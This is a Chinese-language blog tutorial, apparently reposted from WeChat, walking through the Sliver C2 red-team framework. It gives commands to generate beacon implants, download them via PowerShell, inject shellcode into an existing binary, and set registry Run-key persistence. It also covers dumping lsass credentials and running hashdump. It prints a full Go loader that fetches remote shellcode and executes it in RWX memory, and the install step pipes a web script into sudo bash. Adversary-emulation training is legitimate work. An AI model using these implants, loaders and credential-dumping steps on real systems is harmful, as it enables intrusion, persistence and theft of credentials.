Sliver C2学习

admin 2024年2月15日19:24:08评论30 views字数 3577阅读11分55秒阅读模式

简介

Sliver 是一个开源的跨平台对手模拟/红队框架,各种规模的组织都可以使用它来执行安全测试。Sliver 的植入程序支持基于相互 TLS (mTLS)、WireGuard、HTTP(S) 和 DNS 的 C2,并使用每个二进制非对称加密密钥进行动态编译。

服务器和客户端支持MacOS、Windows和Linux。MacOS、Windows 和 Linux(可能还有每个 Golang 编译器目标,但我们尚未对所有目标进行测试)均支持植入程序。

安装

sudo curl -q -o- https://sliver.sh/install | sudo bash

Sliver C2学习

使用

我们可以使用使用sliver 来启动C2....

Sliver C2学习

我们可以使用help来查看有那些命令参数。

Sliver C2学习

我们可以直接使用http命令来创建监听器,当然也可以创建tcp以及https等等。

如果我们不知道如何使用的话我们可以使用-h参数来查看如何使用。

Sliver C2学习

所以我们可以通过-l参数来指定要监听的端口,和CobaltStrike类似,只是Sliver是命令行进行创建。

如下监听了8003端口。

Sliver C2学习

我们可以创建多个监听器,例如如下我们创建http以及https

Sliver C2学习

我们可以使用jobs命令来查看监听器。

Sliver C2学习

如果需要删除监听器的话我们可以使用jobs -k ID来进行删除。

Sliver C2学习

现在让我们来生成一个木马来进行上线。

使用如下命令:

generate beacon -h

这里需要着重介绍2个参数。

-f表示输出文件的格式,这里默认是exe格式。

-S表示Beacon回连的间隔时间,类似于CobaltStrike 中C2 Profile中配置的间隔时间。

Sliver C2学习

现在让我们来生成一个上线的木马文件。

generate beacon -b http://ip:port -S 5

Sliver C2学习

现在我们将文件放到windows机器上运行即可。

也可以使用powershell下载:

iwr http://192.168.213.149:8000/PROSPECTIVE_AMUSEMENT.exe -o relaysec.exe

当我们双击之后会得到一个Session。

Sliver C2学习

我们可以使用beacons命令来查看上线的Beacon。

Sliver C2学习

可以使用use命令来选择Beacon。

Sliver C2学习

我们可以正常执行命令,比如whoami

Sliver C2学习

我们可以使用info命令来查看目标基本的架构信息,类似于systeminfo

Sliver C2学习

我们可以使用interactive命令来打开交互式会话。

Sliver C2学习

紧接着使用use按两下Tab键来选择。

Sliver C2学习

使用shell命令来切换到powershell窗口。

他会提示你这个操作并不是那么的OPSEC,请慎重选择。

Sliver C2学习

我们选择y即可。

Sliver C2学习

Sliver C2学习

我们可以使用exit来进行退出。

当我们回到交互式会话的时候我们可以使用background来返回到上一层,这和MSF相比起来是差不多的。

Sliver C2学习

我们可以使用ps命令来查看进程相关的东西。

Sliver C2学习

我们可以使用backdoor命令来目标系统上的现有文件中注入Shellcode。

但是在这之前需要创建一个服务的配置文件。

profiles new --format shellcode --http 192.168.213.149:8003 profile1

Sliver C2学习

然后我们使用backdoor命令来向目标系统上的现有文件中注入Shellcode。

Sliver C2学习

这时当我们启动Process Hacker的时候就会返回给我们一个Beacon。

此时我们先把会话删除。

beacons rm

Sliver C2学习

当我们启动process Hacker的时候。

Sliver C2学习

可以看到已经有Beacon反弹回来了。

Sliver C2学习

查看进程,可以看到上线的是Process Hacker.exe。

Sliver C2学习

我们可以使用registry命令来创建注册表维权。

现在让我们尝试使用registry命令。

registry write -T string  --hive HKCU "Software\Microsoft\Windows\CurrentVersion\Run\" "C\Users\Admin\Desktop\relaysec.exe"

Sliver C2学习

Sliver C2学习

现在让我们重启。

然后Sliver这里就会收到一个Beacon。

Sliver C2学习

Sliver C2学习

如果我们想多人运动的话,那么我们可以使用如下命令来生成新的队员的配置文件。

./sliver-server operator --name relaysec --lhost IP --save relaysec.cfg

Sliver C2学习

现在我们将文件下载下来,然后可以去尝试连接。

连接的方式可以通过import方式。

./sliver-client_linux import relaysec.cfg

如下是我在服务器上上线的一台机器。

Sliver C2学习

另一个是使用kali连接到服务端。

Sliver C2学习

这样就实现了多人运动。

前面我们生成的都是exe,现在如果我们想生成bin文件的话,我们可以使用mtls进行生成。

generate — mtls 192.210.140.85 — save /tmp — skip-symbols -f shellcode — os windows

Sliver C2学习

但是在这之前我们需要启动mtls作为监听器。

mtls -l 8889

Sliver C2学习

现在让我们使用如下程序进行加载。

package mainimport ( "io/ioutil" "net/http" "syscall" "unsafe")const ( MEM_COMMIT             = 0x1000 MEM_RESERVE            = 0x2000 PAGE_EXECUTE_READWRITE = 0x40)var ( kernel32           = syscall.MustLoadDLL("kernel32.dll") ntdll              = syscall.MustLoadDLL("ntdll.dll") VirtualAlloc       = kernel32.MustFindProc("VirtualAlloc") procVirtualProtect = syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualProtect") RtlMoveMemory      = ntdll.MustFindProc("RtlMoveMemory"))func VirtualProtect(lpAddress unsafe.Pointer, dwSize uintptr, flNewProtect uint32, lpflOldProtect unsafe.Pointer) bool { ret, _, _ := procVirtualProtect.Call(  uintptr(lpAddress),  uintptr(dwSize),  uintptr(flNewProtect),  uintptr(lpflOldProtect)) return ret > 0}func main() { response, _ := http.Get("http://ip/code.bin") defer response.Body.Close() charcode, _ := ioutil.ReadAll(response.Body) addr, _, _ := VirtualAlloc.Call(0, uintptr(len(charcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE) _, _, _ = RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&charcode[0])), uintptr(len(charcode)))for j := 0; j < len(charcode); j++ {  charcode[j] = 0 } syscall.Syscall(addr, 0, 0, 0, 0)}

我们可以使用armory命令来获取可以使用的打包程序的列表,他就是类似于一个武器库,当你想使用的时候直接安装即可。

Sliver C2学习

紧接着我们可以使用armory install hashdump来安装此程序。

Sliver C2学习

然后我们就可以直接使用了,例如hashdump

Sliver C2学习

在CobaltStrike中有进程迁移的功能,那么Sliver中也有这个功能,也就是migrate这个命令。

Sliver C2学习

对于转储Lsass进程来说,我们可以使用procdump命令来转储lsass进程。

procdump --pid 652 --save lsa.DMP

然后我们可以使用pypykatz来离线读取。

pypykatz lsa minidump lsass.DMP 

Sliver C2学习

一般的话我们不喜欢使用shell来创建powershell执行cmd命令,所以我们可以使用execute命令来执行,这样更加的OPSEC一些。

Sliver C2学习

无论是Mythic还是CobaltStrike都是支持socks5代理的,那么Sliver也是支持的。

Sliver C2学习

Sliver C2学习

除了我们可以使用socks5进行实现代理之外,Sliver提供了另一种方式,Wireguard VPN

Sliver C2学习

最后记得转发噢 您的转发就是我更新的动力!!!

原文始发于微信公众号(Relay学安全):Sliver C2学习

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月15日19:24:08
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Sliver C2学习http://cn-sec.com/archives/2495942.html

发表评论

匿名网友 填写信息